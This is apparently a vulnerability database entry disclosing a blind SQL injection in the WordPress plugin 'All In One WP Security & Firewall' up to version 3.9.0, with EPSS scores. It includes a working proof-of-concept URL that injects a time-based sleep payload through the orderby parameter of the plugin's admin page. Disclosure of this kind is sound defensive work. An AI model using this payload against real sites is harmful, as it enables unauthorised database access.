Lucene search

K
wpexploitClaudio VivianiWPEX-ID:43AF54E1-049E-44F3-9357-F24E1E98B9D1
HistoryApr 07, 2015 - 12:00 a.m.

All In One WP Security & Firewall <= 3.9.0 - Blind SQL Injection

2015-04-0700:00:00
Claudio Viviani
10

0.001 Low

EPSS

Percentile

49.5%

There are some pages which use the WordPress esc_sql() function incorrectly.

http://www.example.com/wp-admin/admin.php?page=aiowpsec&tab=tab3&orderby=user_id,(select * from (select(sleep(30)))a)&order=asc

0.001 Low

EPSS

Percentile

49.5%

Related for WPEX-ID:43AF54E1-049E-44F3-9357-F24E1E98B9D1